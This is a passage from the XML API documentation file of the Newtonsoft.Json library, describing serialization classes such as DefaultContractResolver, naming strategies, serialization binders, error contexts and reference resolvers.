cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> associated with the validation error.\n            </summary>\n            <value>The JsonSchemaException associated with the validation error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Path\">\n            <summary>\n            Gets the path of the JSON location where the validation error occurred.\n            </summary>\n            <value>The path of the JSON location where the validation error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Message\">\n            <summary>\n            Gets the text description corresponding to the validation error.\n            </summary>\n            <value>The text description.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\">\n            <summary>\n            <para>\n            Represents the callback method that will handle JSON schema validation events and the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.SerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.SerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.SerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\">\n            <summary>\n            A camel case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\">\n            <summary>\n            Resolves member mappings for a type, camel casing property names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DynamicCodeGeneration\">\n            <summary>\n            Gets a value indicating whether members are being get and set using dynamic code generation.\n            This value is determined by the runtime permissions available.\n            </summary>\n            <value>\n            \t<c>true</c> if using dynamic code generation; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.SerializeCompilerGeneratedMembers\">\n            <summary>\n            Gets or sets a value indicating whether compiler generated members should be serialized.\n            </summary>\n            <value>\n            \t<c>true</c> if serialized compiler generated members; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableInterface\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableAttribute\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.SerializableAttribute\"/> attribute when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.SerializableAttribute\"/> attribute will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreIsSpecifiedMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreShouldSerializeMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized.\n            </summary>\n            <value>The naming strategy used to resolve how property names and dictionary keys are serialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetSerializableMembers(System.Type)\">\n            <summary>\n            Gets the serializable members for the type.\n            </summary>\n            <param name=\"objectType\">The type to get serializable members for.</param>\n            <returns>The serializable members for the type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateObjectContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateConstructorParameters(System.Reflection.ConstructorInfo,Newtonsoft.Json.Serialization.JsonPropertyCollection)\">\n            <summary>\n            Creates the constructor parameters.\n            </summary>\n            <param name=\"constructor\">The constructor to create properties for.</param>\n            <param name=\"memberProperties\">The type's member properties.</param>\n            <returns>Properties for the given <see cref=\"T:System.Reflection.ConstructorInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePropertyFromConstructorParameter(Newtonsoft.Json.Serialization.JsonProperty,System.Reflection.ParameterInfo)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.\n            </summary>\n            <param name=\"matchingMemberProperty\">The matching member property.</param>\n            <param name=\"parameterInfo\">The constructor parameter.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContractConverter(System.Type)\">\n            <summary>\n            Resolves the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the contract.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The contract's default <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDictionaryContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateArrayContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePrimitiveContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateLinqContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateISerializableContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDynamicContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateStringContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateContract(System.Type)\">\n            <summary>\n            Determines which contract type is created for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperties(System.Type,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.\n            </summary>\n            <param name=\"type\">The type to create properties for.</param>\n            /// <param name=\"memberSerialization\">The member serialization mode for the type.</param>\n            <returns>Properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateMemberValueProvider(System.Reflection.MemberInfo)\">\n            <summary>\n            Creates the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperty(System.Reflection.MemberInfo,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.\n            </summary>\n            <param name=\"memberSerialization\">The member's parent <see cref=\"T:Newtonsoft.Json.MemberSerialization\"/>.</param>\n            <param name=\"member\">The member to create a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Resolved name of the property.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveExtensionDataName(System.String)\">\n            <summary>\n            Resolves the name of the extension data. By default no changes are made to extension data names.\n            </summary>\n            <param name=\"extensionDataName\">Name of the extension data.</param>\n            <returns>Resolved name of the extension data.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveDictionaryKey(System.String)\">\n            <summary>\n            Resolves the key of the dictionary. By default <see cref=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\"/> is used to resolve dictionary keys.\n            </summary>\n            <param name=\"dictionaryKey\">Key of the dictionary.</param>\n            <returns>Resolved key of the dictionary.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetResolvedPropertyName(System.String)\">\n            <summary>\n            Gets the resolved name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Name of the property.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultNamingStrategy\">\n            <summary>\n            The default naming strategy. Property names and dictionary keys are unchanged.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\">\n            <summary>\n            The default serialization binder used when resolving and loading classes from type names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n            <returns>\n            The type of the object the formatter creates a new instance of.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorContext\">\n            <summary>\n            Provides information surrounding an error.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Error\">\n            <summary>\n            Gets the error.\n            </summary>\n            <value>The error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.OriginalObject\">\n            <summary>\n            Gets the original object that caused the error.\n            </summary>\n            <value>The original object that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Member\">\n            <summary>\n            Gets the member that caused the error.\n            </summary>\n            <value>The member that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Path\">\n            <summary>\n            Gets the path of the JSON location where the error occurred.\n            </summary>\n            <value>The path of the JSON location where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Handled\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.ErrorContext\"/> is handled.\n            </summary>\n            <value><c>true</c> if handled; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\">\n            <summary>\n            Provides data for the Error event.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.CurrentObject\">\n            <summary>\n            Gets the current object the error event is being raised against.\n            </summary>\n            <value>The current object the error event is being raised against.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.ErrorContext\">\n            <summary>\n            Gets the error context.\n            </summary>\n            <value>The error context.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ErrorEventArgs.#ctor(System.Object,Newtonsoft.Json.Serialization.ErrorContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\"/> class.\n            </summary>\n            <param name=\"currentObject\">The current object.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\">\n            <summary>\n            Provides methods to get attributes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverObject\" title=\"IContractResolver Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverExample\" title=\"IContractResolver Example\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\">\n            <summary>\n            Used to resolve references when serializing and deserializing JSON by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.ResolveReference(System.Object,System.String)\">\n            <summary>\n            Resolves a reference to its object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference to resolve.</param>\n            <returns>The object that was resolved from the reference.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.GetReference(System.Object,System.Object)\">\n            <summary>\n            Gets the reference for the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to get a reference for.</param>\n            <returns>The reference to the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.IsReferenced(System.Object,System.Object)\">\n            <summary>\n            Determines whether the specified object is referenced.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to test for a reference.</param>\n            <returns>\n            \t<c>true</c> if the specified object is referenced; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.AddReference(System.Object,System.String,System.Object)\">\n            <summary>\n            Adds a reference to the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference.</param>\n            <param name=\"value\">The object to reference.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ITraceWriter\">\n            <summary>\n            Represents a trace writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ITraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/> will exclude <see cref=\"F:Newtonsoft.Json.TraceLevel.Verbose\"/> messages and include <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/>,\n            <see cref=\"F:Newtonsoft.Json.TraceLevel.Warning\"/> and <see cref=\"F:Newtonsoft.Json.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ITraceWriter.Trace(Newtonsoft.Json.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IValueProvider\">\n            <summary>\n            Provides methods to get and set values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.CollectionItemType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the collection items.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the collection items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.IsMultidimensionalArray\">\n            <summary>\n            Gets a value indicating whether the collection type is a multidimensional array.\n            </summary>\n            <value><c>true</c> if the collection type is a multidimensional array; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the collection values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the collection values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonArrayContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemConverter\">\n            <summary>\n            Gets or sets the default collection items <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemIsReference\">\n            <summary>\n            Gets or sets a value indicating whether the collection items preserve object references.\n            </summary>\n            <value><c>true</c> if collection items preserve object references; otherwise, <c>false</c>.</value>\n        </member>\n        <member 